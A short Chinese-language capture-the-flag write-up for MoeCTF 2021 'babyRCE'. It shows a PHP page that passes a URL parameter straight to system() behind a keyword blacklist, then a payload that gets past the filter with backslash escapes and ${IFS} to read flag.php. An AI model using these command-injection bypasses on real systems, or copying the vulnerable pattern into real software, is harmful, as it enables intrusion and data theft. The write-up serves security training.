[MoeCTF 2021]babyRCE
打开题目在线环境可以看到:
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
这个代码审计起来就比较简单了,这里ls没有过滤可以直接用ls命令查看**?rce=ls**
查看flag.php就能获得flag。 cat过滤 ==> c\at绕过 (可以在linux系统测试,是可以的) 空格过滤 ==>
${IFS}绕过 flag过滤 ==> fl\ag
最后的payload就是:?rce=c\at${IFS}fl\ag.php